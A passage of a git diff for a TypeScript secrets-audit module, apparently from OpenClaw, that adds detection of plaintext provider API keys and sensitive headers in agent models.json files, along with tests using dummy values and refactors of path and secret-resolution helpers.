\'{"protocolVersion":1,"values":{"providers/openai/apiKey":"value:providers/openai/apiKey","providers/moonshot/apiKey":"value:providers/moonshot/apiKey"}}\'', // pragma: allowlist secret ].join("\n"), { encoding: "utf8", mode: 0o700 }, ); @@ -254,4 +275,244 @@ describe("secrets audit", () => { const callCount = callLog.split("\n").filter((line) => line.trim().length > 0).length; expect(callCount).toBe(1); }); + + it("scans agent models.json files for plaintext provider apiKey values", async () => { + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: "sk-models-plaintext", // pragma: allowlist secret + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.apiKey", + ), + ).toBe(true); + expect(report.filesScanned).toContain(fixture.modelsPath); + }); + + it("scans agent models.json files for plaintext provider header values", async () => { + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: OPENAI_API_KEY_MARKER, + headers: { + Authorization: "Bearer sk-header-plaintext", // pragma: allowlist secret + }, + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.headers.Authorization", + ), + ).toBe(true); + }); + + it("does not flag non-sensitive routing headers in models.json", async () => { + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: OPENAI_API_KEY_MARKER, + headers: { + "X-Proxy-Region": "us-west", + }, + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.headers.X-Proxy-Region", + ), + ).toBe(false); + }); + + it("does not flag models.json marker values as plaintext", async () => { + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: OPENAI_API_KEY_MARKER, + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.apiKey", + ), + ).toBe(false); + }); + + it("flags arbitrary all-caps models.json apiKey values as plaintext", async () => { + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: "ALLCAPS_SAMPLE", // pragma: allowlist secret + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.apiKey", + ), + ).toBe(true); + }); + + it("does not flag models.json header marker values as plaintext", async () => { + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: OPENAI_API_KEY_MARKER, + headers: { + Authorization: "secretref-env:OPENAI_HEADER_TOKEN", // pragma: allowlist secret + "x-managed-token": "secretref-managed", // pragma: allowlist secret + }, + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.headers.Authorization", + ), + ).toBe(false); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.headers.x-managed-token", + ), + ).toBe(false); + }); + + it("reports unresolved models.json SecretRef objects in provider headers", async () => { + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: OPENAI_API_KEY_MARKER, + headers: { + Authorization: { + source: "env", + provider: "default", + id: "OPENAI_HEADER_TOKEN", // pragma: allowlist secret + }, + }, + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "REF_UNRESOLVED" && + entry.file === fixture.modelsPath && + entry.jsonPath === "providers.openai.headers.Authorization", + ), + ).toBe(true); + }); + + it("reports malformed models.json as unresolved findings", async () => { + await fs.writeFile(fixture.modelsPath, "{bad-json", "utf8"); + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => entry.code === "REF_UNRESOLVED" && entry.file === fixture.modelsPath, + ), + ).toBe(true); + }); + + it("does not flag non-sensitive routing headers in openclaw config", async () => { + await writeJsonFile(fixture.configPath, { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: { source: "env", provider: "default", id: OPENAI_API_KEY_MARKER }, + headers: { + "X-Proxy-Region": "us-west", + }, + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }, + }); + await writeJsonFile(fixture.authStorePath, { + version: 1, + profiles: {}, + }); + await fs.writeFile(fixture.envPath, "", "utf8"); + + const report = await runSecretsAudit({ env: fixture.env }); + expect( + hasFinding( + report, + (entry) => + entry.code === "PLAINTEXT_FOUND" && + entry.file === fixture.configPath && + entry.jsonPath === "models.providers.openai.headers.X-Proxy-Region", + ), + ).toBe(false); + }); }); diff --git a/src/secrets/audit.ts b/src/secrets/audit.ts index 277983d1deb..3215b3ce855 100644 --- a/src/secrets/audit.ts +++ b/src/secrets/audit.ts @@ -1,8 +1,13 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; +import { + isNonSecretApiKeyMarker, + isSecretRefHeaderValueMarker, +} from "../agents/model-auth-markers.js"; import { normalizeProviderId } from "../agents/model-selection.js"; import { resolveStateDir, type OpenClawConfig } from "../config/config.js"; +import { coerceSecretRef } from "../config/types.secrets.js"; import { resolveSecretInputRef, type SecretRef } from "../config/types.secrets.js"; import { resolveConfigDir, resolveUserPath } from "../utils.js"; import { runTasksWithConcurrency } from "../utils/run-with-concurrency.js"; @@ -23,6 +28,7 @@ import { import { isNonEmptyString, isRecord } from "./shared.js"; import { describeUnknownError } from "./shared.js"; import { + listAgentModelsJsonPaths, listAuthProfileStorePaths, listLegacyAuthJsonPaths, parseEnvAssignmentValue, @@ -36,7 +42,7 @@ export type SecretsAuditCode = | "REF_SHADOWED" | "LEGACY_RESIDUE"; -export type SecretsAuditSeverity = "info" | "warn" | "error"; +export type SecretsAuditSeverity = "info" | "warn" | "error"; // pragma: allowlist secret export type SecretsAuditFinding = { code: SecretsAuditCode; @@ -48,7 +54,7 @@ export type SecretsAuditFinding = { profileId?: string; }; -export type SecretsAuditStatus = "clean" | "findings" | "unresolved"; +export type SecretsAuditStatus = "clean" | "findings" | "unresolved"; // pragma: allowlist secret export type SecretsAuditReport = { version: 1; @@ -91,6 +97,40 @@ type AuditCollector = { }; const REF_RESOLVE_FALLBACK_CONCURRENCY = 8; +const ALWAYS_SENSITIVE_MODEL_PROVIDER_HEADER_NAMES = new Set([ + "authorization", + "proxy-authorization", + "x-api-key", + "api-key", + "apikey", + "x-auth-token", + "auth-token", + "x-access-token", + "access-token", + "x-secret-key", + "secret-key", +]); +const SENSITIVE_MODEL_PROVIDER_HEADER_NAME_FRAGMENTS = [ + "api-key", + "apikey", + "token", + "secret", + "password", + "credential", +]; + +function isLikelySensitiveModelProviderHeaderName(value: string): boolean { + const normalized = value.trim().toLowerCase(); + if (!normalized) { + return false; + } + if (ALWAYS_SENSITIVE_MODEL_PROVIDER_HEADER_NAMES.has(normalized)) { + return true; + } + return SENSITIVE_MODEL_PROVIDER_HEADER_NAME_FRAGMENTS.some((fragment) => + normalized.includes(fragment), + ); +} function addFinding(collector: AuditCollector, finding: SecretsAuditFinding): void { collector.findings.push(finding); @@ -192,6 +232,12 @@ function collectConfigSecrets(params: { target.value, target.entry.expectedResolvedValue, ); + if ( + target.entry.id === "models.providers.*.headers.*" && + !isLikelySensitiveModelProviderHeaderName(target.pathSegments.at(-1) ?? "") + ) { + continue; + } if (!hasPlaintext) { continue; } @@ -315,6 +361,93 @@ function collectAuthJsonResidue(params: { stateDir: string; collector: AuditColl } } +function collectModelsJsonSecrets(params: { + modelsJsonPath: string; + collector: AuditCollector; +}): void { + if (!fs.existsSync(params.modelsJsonPath)) { + return; + } + params.collector.filesScanned.add(params.modelsJsonPath); + const parsedResult = readJsonObjectIfExists(params.modelsJsonPath); + if (parsedResult.error) { + addFinding(params.collector, { + code: "REF_UNRESOLVED", + severity: "error", + file: params.modelsJsonPath, + jsonPath: "", + message: `Invalid JSON in models.json: ${parsedResult.error}`, + }); + return; + } + const parsed = parsedResult.value; + if (!parsed || !isRecord(parsed.providers)) { + return; + } + for (const [providerId, providerValue] of Object.entries(parsed.providers)) { + if (!isRecord(providerValue)) { + continue; + } + const apiKey = providerValue.apiKey; + if (coerceSecretRef(apiKey)) { + addFinding(params.collector, { + code: "REF_UNRESOLVED", + severity: "error", + file: params.modelsJsonPath, + jsonPath: `providers.${providerId}.apiKey`, + message: "models.json contains an unresolved SecretRef object; regenerate models.json.", + provider: providerId, + }); + } else if (isNonEmptyString(apiKey) && !isNonSecretApiKeyMarker(apiKey)) { + addFinding(params.collector, { + code: "PLAINTEXT_FOUND", + severity: "warn", + file: params.modelsJsonPath, + jsonPath: `providers.${providerId}.apiKey`, + message: "models.json provider apiKey is stored as plaintext.", + provider: providerId, + }); + } + + const headers = isRecord(providerValue.headers) ? providerValue.headers : undefined; + if (!headers) { + continue; + } + for (const [headerKey, headerValue] of Object.entries(headers)) { + const headerPath = `providers.${providerId}.headers.${headerKey}`; + if (coerceSecretRef(headerValue)) { + addFinding(params.collector, { + code: "REF_UNRESOLVED", + severity: "error", + file: params.modelsJsonPath, + jsonPath: headerPath, + message: + "models.json contains an unresolved SecretRef object for provider headers; regenerate models.json.", + provider: providerId, + }); + continue; + } + if (!isNonEmptyString(headerValue)) { + continue; + } + if (isSecretRefHeaderValueMarker(headerValue)) { + continue; + } + if (!isLikelySensitiveModelProviderHeaderName(headerKey)) { + continue; + } + addFinding(params.collector, { + code: "PLAINTEXT_FOUND", + severity: "warn", + file: params.modelsJsonPath, + jsonPath: headerPath, + message: "models.json provider header value is stored as plaintext.", + provider: providerId, + }); + } + } +} + async function collectUnresolvedRefFindings(params: { collector: AuditCollector; config: OpenClawConfig; @@ -497,6 +630,12 @@ export async function runSecretsAudit( defaults, }); } + for (const modelsJsonPath of listAgentModelsJsonPaths(config, stateDir)) { + collectModelsJsonSecrets({ + modelsJsonPath, + collector, + }); + } await collectUnresolvedRefFindings({ collector, config, diff --git a/src/secrets/auth-profiles-scan.ts b/src/secrets/auth-profiles-scan.ts index 77363c32377..d126b8dade8 100644 --- a/src/secrets/auth-profiles-scan.ts +++ b/src/secrets/auth-profiles-scan.ts @@ -73,6 +73,25 @@ export function getAuthProfileFieldSpec(type: AuthProfileCredentialType): AuthPr return AUTH_PROFILE_FIELD_SPEC_BY_TYPE[type]; } +function toSecretCredentialVisit(params: { + kind: AuthProfileCredentialType; + profileId: string; + provider: string; + profile: Record; +}): ApiKeyCredentialVisit | TokenCredentialVisit { + const spec = getAuthProfileFieldSpec(params.kind); + return { + kind: params.kind, + profileId: params.profileId, + provider: params.provider, + profile: params.profile, + valueField: spec.valueField, + refField: spec.refField, + value: params.profile[spec.valueField], + refValue: params.profile[spec.refField], + }; +} + export function* iterateAuthProfileCredentials( profiles: Record, ): Iterable { @@ -81,32 +100,13 @@ export function* iterateAuthProfileCredentials( continue; } const provider = String(value.provider); - if (value.type === "api_key") { - const spec = getAuthProfileFieldSpec("api_key"); - yield { - kind: "api_key", + if (value.type === "api_key" || value.type === "token") { + yield toSecretCredentialVisit({ + kind: value.type, profileId, provider, profile: value, - valueField: spec.valueField, - refField: spec.refField, - value: value[spec.valueField], - refValue: value[spec.refField], - }; - continue; - } - if (value.type === "token") { - const spec = getAuthProfileFieldSpec("token"); - yield { - kind: "token", - profileId, - provider, - profile: value, - valueField: spec.valueField, - refField: spec.refField, - value: value[spec.valueField], - refValue: value[spec.refField], - }; + }); continue; } if (value.type === "oauth") { diff --git a/src/secrets/auth-store-paths.ts b/src/secrets/auth-store-paths.ts index 12fe01dda4d..d2814850d23 100644 --- a/src/secrets/auth-store-paths.ts +++ b/src/secrets/auth-store-paths.ts @@ -5,10 +5,10 @@ import { resolveAuthStorePath } from "../agents/auth-profiles/paths.js"; import type { OpenClawConfig } from "../config/config.js"; import { resolveUserPath } from "../utils.js"; -export function collectAuthStorePaths(config: OpenClawConfig, stateDir: string): string[] { +export function listAuthProfileStorePaths(config: OpenClawConfig, stateDir: string): string[] { const paths = new Set(); // Scope default auth store discovery to the provided stateDir instead of - // ambient process env, so callers do not touch unrelated host-global stores. + // ambient process env, so scans do not include unrelated host-global stores. paths.add(path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json")); const agentsRoot = path.join(resolveUserPath(stateDir), "agents"); @@ -34,3 +34,7 @@ export function collectAuthStorePaths(config: OpenClawConfig, stateDir: string): return [...paths]; } + +export function collectAuthStorePaths(config: OpenClawConfig, stateDir: string): string[] { + return listAuthProfileStorePaths(config, stateDir); +} diff --git a/src/secrets/command-config.test.ts b/src/secrets/command-config.test.ts index a5e4abaf793..259916efcb7 100644 --- a/src/secrets/command-config.test.ts +++ b/src/secrets/command-config.test.ts @@ -11,7 +11,7 @@ describe("collectCommandSecretAssignmentsFromSnapshot", () => { } as unknown as OpenClawConfig; const resolvedConfig = { talk: { - apiKey: "talk-key", + apiKey: "talk-key", // pragma: allowlist secret }, } as unknown as OpenClawConfig; diff --git a/src/secrets/command-config.ts b/src/secrets/command-config.ts index dc542eba00b..0d264aad9e7 100644 --- a/src/secrets/command-config.ts +++ b/src/secrets/command-config.ts @@ -79,7 +79,9 @@ export function analyzeCommandSecretAssignmentsFromSnapshot(params: { value: resolved, }); - if (target.entry.secretShape === "sibling_ref" && explicitRef && inlineCandidateRef) { + const hasCompetingSiblingRef = + target.entry.secretShape === "sibling_ref" && explicitRef && inlineCandidateRef; // pragma: allowlist secret + if (hasCompetingSiblingRef) { diagnostics.push( `${target.path}: both inline and sibling ref were present; sibling ref took precedence.`, ); diff --git a/src/secrets/configure-plan.test.ts b/src/secrets/configure-plan.test.ts index bdc8b4d88fd..d8b360becbe 100644 --- a/src/secrets/configure-plan.test.ts +++ b/src/secrets/configure-plan.test.ts @@ -12,11 +12,11 @@ describe("secrets configure plan helpers", () => { it("builds configure candidates from supported configure targets", () => { const config = { talk: { - apiKey: "plain", + apiKey: "plain", // pragma: allowlist secret }, channels: { telegram: { - botToken: "token", + botToken: "token", // pragma: allowlist secret }, }, } as OpenClawConfig; @@ -125,7 +125,7 @@ describe("secrets configure plan helpers", () => { existingRef: { source: "env", provider: "default", - id: "OPENAI_API_KEY", + id: "OPENAI_API_KEY", // pragma: allowlist secret }, }), ]), @@ -139,15 +139,15 @@ describe("secrets configure plan helpers", () => { provider: "elevenlabs", providers: { elevenlabs: { - apiKey: "demo-talk-key", + apiKey: "demo-talk-key", // pragma: allowlist secret }, }, - apiKey: "demo-talk-key", + apiKey: "demo-talk-key", // pragma: allowlist secret }, } as OpenClawConfig, authoredOpenClawConfig: { talk: { - apiKey: "demo-talk-key", + apiKey: "demo-talk-key", // pragma: allowlist secret }, } as OpenClawConfig, }); diff --git a/src/secrets/credential-matrix.ts b/src/secrets/credential-matrix.ts index a3c44e34fdb..05fa45f749e 100644 --- a/src/secrets/credential-matrix.ts +++ b/src/secrets/credential-matrix.ts @@ -6,7 +6,7 @@ type CredentialMatrixEntry = { path: string; refPath?: string; when?: { type: "api_key" | "token" }; - secretShape: "secret_input" | "sibling_ref"; + secretShape: "secret_input" | "sibling_ref"; // pragma: allowlist secret optIn: true; notes?: string; }; diff --git a/src/secrets/path-utils.test.ts b/src/secrets/path-utils.test.ts index c8c69ceba83..5c40fe2d9a8 100644 --- a/src/secrets/path-utils.test.ts +++ b/src/secrets/path-utils.test.ts @@ -11,6 +11,14 @@ function asConfig(value: unknown): OpenClawConfig { return value as OpenClawConfig; } +function createAgentListConfig(): OpenClawConfig { + return asConfig({ + agents: { + list: [{ id: "a" }], + }, + }); +} + describe("secrets path utils", () => { it("deletePathStrict compacts arrays via splice", () => { const config = asConfig({}); @@ -30,11 +38,7 @@ describe("secrets path utils", () => { }); it("setPathExistingStrict throws when path does not already exist", () => { - const config = asConfig({ - agents: { - list: [{ id: "a" }], - }, - }); + const config = createAgentListConfig(); expect(() => setPathExistingStrict( config, @@ -47,7 +51,7 @@ describe("secrets path utils", () => { it("setPathExistingStrict updates an existing leaf", () => { const config = asConfig({ talk: { - apiKey: "old", + apiKey: "old", // pragma: allowlist secret }, }); const changed = setPathExistingStrict(config, ["talk", "apiKey"], "new"); @@ -65,26 +69,11 @@ describe("secrets path utils", () => { it("setPathCreateStrict leaves value unchanged when equal", () => { const config = asConfig({ talk: { - apiKey: "same", + apiKey: "same", // pragma: allowlist secret }, }); const changed = setPathCreateStrict(config, ["talk", "apiKey"], "same"); expect(changed).toBe(false); expect(getPath(config, ["talk", "apiKey"])).toBe("same"); }); - - it("setPathExistingStrict fails when intermediate segment is missing", () => { - const config = asConfig({ - agents: { - list: [{ id: "a" }], - }, - }); - expect(() => - setPathExistingStrict( - config, - ["agents", "list", "0", "memorySearch", "remote", "apiKey"], - "x", - ), - ).toThrow(/Path segment does not exist/); - }); }); diff --git a/src/secrets/path-utils.ts b/src/secrets/path-utils.ts index d88fc0487e5..b04066560c8 100644 --- a/src/secrets/path-utils.ts +++ b/src/secrets/path-utils.ts @@ -10,6 +10,63 @@ function expectedContainer(nextSegment: string): "array" | "object" { return isArrayIndexSegment(nextSegment) ? "array" : "object"; } +function parseArrayLeafTarget( + cursor: unknown, + leaf: string, + segments: string[], +): { array: unknown[]; index: number } | null { + if (!Array.isArray(cursor)) { + return null; + } + if (!isArrayIndexSegment(leaf)) { + throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); + } + return { array: cursor, index: Number.parseInt(leaf, 10) }; +} + +function traverseToLeafParent(params: { + root: unknown; + segments: string[]; + requireExistingSegment: boolean; +}): unknown { + if (params.segments.length === 0) { + throw new Error("Target path is empty."); + } + + let cursor: unknown = params.root; + for (let index = 0; index < params.segments.length - 1; index += 1) { + const segment = params.segments[index] ?? ""; + if (Array.isArray(cursor)) { + if (!isArrayIndexSegment(segment)) { + throw new Error( + `Invalid array index segment "${segment}" at ${params.segments.join(".")}.`, + ); + } + const arrayIndex = Number.parseInt(segment, 10); + if (params.requireExistingSegment && (arrayIndex < 0 || arrayIndex >= cursor.length)) { + throw new Error( + `Path segment does not exist at ${params.segments.slice(0, index + 1).join(".")}.`, + ); + } + cursor = cursor[arrayIndex]; + continue; + } + + if (!isRecord(cursor)) { + throw new Error( + `Invalid path shape at ${params.segments.slice(0, index).join(".") || ""}.`, + ); + } + if (params.requireExistingSegment && !Object.prototype.hasOwnProperty.call(cursor, segment)) { + throw new Error( + `Path segment does not exist at ${params.segments.slice(0, index + 1).join(".")}.`, + ); + } + cursor = cursor[segment]; + } + return cursor; +} + export function getPath(root: unknown, segments: string[]): unknown { if (segments.length === 0) { return undefined; @@ -77,13 +134,10 @@ export function setPathCreateStrict( } const leaf = segments[segments.length - 1] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(leaf)) { - throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(leaf, 10); - if (!isDeepStrictEqual(cursor[arrayIndex], value)) { - cursor[arrayIndex] = value; + const arrayTarget = parseArrayLeafTarget(cursor, leaf, segments); + if (arrayTarget) { + if (!isDeepStrictEqual(arrayTarget.array[arrayTarget.index], value)) { + arrayTarget.array[arrayTarget.index] = value; changed = true; } return changed; @@ -103,46 +157,16 @@ export function setPathExistingStrict( segments: string[], value: unknown, ): boolean { - if (segments.length === 0) { - throw new Error("Target path is empty."); - } - let cursor: unknown = root; - - for (let index = 0; index < segments.length - 1; index += 1) { - const segment = segments[index] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(segment)) { - throw new Error(`Invalid array index segment "${segment}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(segment, 10); - if (arrayIndex < 0 || arrayIndex >= cursor.length) { - throw new Error( - `Path segment does not exist at ${segments.slice(0, index + 1).join(".")}.`, - ); - } - cursor = cursor[arrayIndex]; - continue; - } - if (!isRecord(cursor)) { - throw new Error(`Invalid path shape at ${segments.slice(0, index).join(".") || ""}.`); - } - if (!Object.prototype.hasOwnProperty.call(cursor, segment)) { - throw new Error(`Path segment does not exist at ${segments.slice(0, index + 1).join(".")}.`); - } - cursor = cursor[segment]; - } + const cursor = traverseToLeafParent({ root, segments, requireExistingSegment: true }); const leaf = segments[segments.length - 1] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(leaf)) { - throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(leaf, 10); - if (arrayIndex < 0 || arrayIndex >= cursor.length) { + const arrayTarget = parseArrayLeafTarget(cursor, leaf, segments); + if (arrayTarget) { + if (arrayTarget.index < 0 || arrayTarget.index >= arrayTarget.array.length) { throw new Error(`Path segment does not exist at ${segments.join(".")}.`); } - if (!isDeepStrictEqual(cursor[arrayIndex], value)) { - cursor[arrayIndex] = value; + if (!isDeepStrictEqual(arrayTarget.array[arrayTarget.index], value)) { + arrayTarget.array[arrayTarget.index] = value; return true; } return false; @@ -161,36 +185,16 @@ export function setPathExistingStrict( } export function deletePathStrict(root: OpenClawConfig, segments: string[]): boolean { - if (segments.length === 0) { - throw new Error("Target path is empty."); - } - let cursor: unknown = root; - for (let index = 0; index < segments.length - 1; index += 1) { - const segment = segments[index] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(segment)) { - throw new Error(`Invalid array index segment "${segment}" at ${segments.join(".")}.`); - } - cursor = cursor[Number.parseInt(segment, 10)]; - continue; - } - if (!isRecord(cursor)) { - throw new Error(`Invalid path shape at ${segments.slice(0, index).join(".") || ""}.`); - } - cursor = cursor[segment]; - } + const cursor = traverseToLeafParent({ root, segments, requireExistingSegment: false }); const leaf = segments[segments.length - 1] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(leaf)) { - throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(leaf, 10); - if (arrayIndex < 0 || arrayIndex >= cursor.length) { + const arrayTarget = parseArrayLeafTarget(cursor, leaf, segments); + if (arrayTarget) { + if (arrayTarget.index < 0 || arrayTarget.index >= arrayTarget.array.length) { return false; } // Arrays are compacted to preserve predictable index semantics. - cursor.splice(arrayIndex, 1); + arrayTarget.array.splice(arrayTarget.index, 1); return true; } if (!isRecord(cursor)) { diff --git a/src/secrets/plan.test.ts b/src/secrets/plan.test.ts index 95071d549e1..01ee81ea551 100644 --- a/src/secrets/plan.test.ts +++ b/src/secrets/plan.test.ts @@ -21,6 +21,22 @@ describe("secrets plan validation", () => { expect(resolved?.pathSegments).toEqual(["channels", "telegram", "botToken"]); }); + it("accepts model provider header targets with wildcard-backed paths", () => { + const resolved = resolveValidatedPlanTarget({ + type: "models.providers.headers", + path: "models.providers.openai.headers.x-api-key", + pathSegments: ["models", "providers", "openai", "headers", "x-api-key"], + providerId: "openai", + }); + expect(resolved?.pathSegments).toEqual([ + "models", + "providers", + "openai", + "headers", + "x-api-key", + ]); + }); + it("rejects target paths that do not match the registered shape", () => { const resolved = resolveValidatedPlanTarget({ type: "channels.telegram.botToken", diff --git a/src/secrets/resolve-secret-input-string.ts b/src/secrets/resolve-secret-input-string.ts new file mode 100644 index 00000000000..0f23404acf2 --- /dev/null +++ b/src/secrets/resolve-secret-input-string.ts @@ -0,0 +1,41 @@ +import type { OpenClawConfig } from "../config/config.js"; +import { + normalizeSecretInputString, + resolveSecretInputRef, + type SecretRef, +} from "../config/types.secrets.js"; +import { resolveSecretRefString } from "./resolve.js"; + +type SecretDefaults = NonNullable["defaults"]; + +export async function resolveSecretInputString(params: { + config: OpenClawConfig; + value: unknown; + env: NodeJS.ProcessEnv; + defaults?: SecretDefaults; + normalize?: (value: unknown) => string | undefined; + onResolveRefError?: (error: unknown, ref: SecretRef) => never; +}): Promise { + const normalize = params.normalize ?? normalizeSecretInputString; + const { ref } = resolveSecretInputRef({ + value: params.value, + defaults: params.defaults ?? params.config.secrets?.defaults, + }); + if (!ref) { + return normalize(params.value); + } + + let resolved: string; + try { + resolved = await resolveSecretRefString(ref, { + config: params.config, + env: params.env, + }); + } catch (error) { + if (params.onResolveRefError) { + return params.onResolveRefError(error, ref); + } + throw error; + } + return normalize(resolved); +} diff --git a/src/secrets/resolve.test.ts b/src/secrets/resolve.test.ts index 716ab5af7fa..376f591b73e 100644 --- a/src/secrets/resolve.test.ts +++ b/src/secrets/resolve.test.ts @@ -153,7 +153,7 @@ describe("secret ref resolver", () => { { source: "env", provider: "default", id: "OPENAI_API_KEY" }, { config, - env: { OPENAI_API_KEY: "sk-env-value" }, + env: { OPENAI_API_KEY: "sk-env-value" }, // pragma: allowlist secret }, ); expect(value).toBe("sk-env-value"); @@ -167,7 +167,7 @@ describe("secret ref resolver", () => { JSON.stringify({ providers: { openai: { - apiKey: "sk-file-value", + apiKey: "sk-file-value", // pragma: allowlist secret }, }, }), @@ -375,7 +375,7 @@ describe("secret ref resolver", () => { JSON.stringify({ providers: { openai: { - apiKey: "sk-file-value", + apiKey: "sk-file-value", // pragma: allowlist secret }, }, }), diff --git a/src/secrets/resolve.ts b/src/secrets/resolve.ts index 8b2cb9c6a5d..039875c464c 100644 --- a/src/secrets/resolve.ts +++ b/src/secrets/resolve.ts @@ -127,6 +127,33 @@ function refResolutionError(params: { return new SecretRefResolutionError(params); } +function throwUnknownProviderResolutionError(params: { + source: SecretRefSource; + provider: string; + err: unknown; +}): never { + if (isSecretResolutionError(params.err)) { + throw params.err; + } + throw providerResolutionError({ + source: params.source, + provider: params.provider, + message: describeUnknownError(params.err), + cause: params.err, + }); +} + +async function readFileStatOrThrow(pathname: string, label: string) { + const stat = await safeStat(pathname); + if (!stat.ok) { + throw new Error(`${label} is not readable: ${pathname}`); + } + if (stat.isDir) { + throw new Error(`${label} must be a file: ${pathname}`); + } + return stat; +} + function isAbsolutePathname(value: string): boolean { return ( path.isAbsolute(value) || @@ -189,13 +216,7 @@ async function assertSecurePath(params: { } let effectivePath = params.targetPath; - let stat = await safeStat(effectivePath); - if (!stat.ok) { - throw new Error(`${params.label} is not readable: ${effectivePath}`); - } - if (stat.isDir) { - throw new Error(`${params.label} must be a file: ${effectivePath}`); - } + let stat = await readFileStatOrThrow(effectivePath, params.label); if (stat.isSymlink) { if (!params.allowSymlinkPath) { throw new Error(`${params.label} must not be a symlink: ${effectivePath}`); @@ -208,13 +229,7 @@ async function assertSecurePath(params: { if (!isAbsolutePathname(effectivePath)) { throw new Error(`${params.label} resolved symlink target must be an absolute path.`); } - stat = await safeStat(effectivePath); - if (!stat.ok) { - throw new Error(`${params.label} is not readable: ${effectivePath}`); - } - if (stat.isDir) { - throw new Error(`${params.label} must be a file: ${effectivePath}`); - } + stat = await readFileStatOrThrow(effectivePath, params.label); if (stat.isSymlink) { throw new Error(`${params.label} symlink target must not be a symlink: ${effectivePath}`); } @@ -372,14 +387,10 @@ async function resolveFileRefs(params: { cache: params.cache, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "file", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } const mode = params.providerConfig.mode ?? "json"; @@ -664,14 +675,10 @@ async function resolveExecRefs(params: { allowSymlinkPath: params.providerConfig.allowSymlinkCommand, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "exec", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } @@ -724,14 +731,10 @@ async function resolveExecRefs(params: { maxOutputBytes, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "exec", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } if (result.termination === "timeout") { @@ -765,14 +768,10 @@ async function resolveExecRefs(params: { jsonOnly, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "exec", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } const resolved = new Map(); @@ -822,14 +821,10 @@ async function resolveProviderRefs(params: { message: `Unsupported secret provider source "${String((params.providerConfig as { source?: unknown }).source)}".`, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: params.source, provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } } diff --git a/src/secrets/runtime-config-collectors-core.ts b/src/secrets/runtime-config-collectors-core.ts index 085573173cc..504331f0a96 100644 --- a/src/secrets/runtime-config-collectors-core.ts +++ 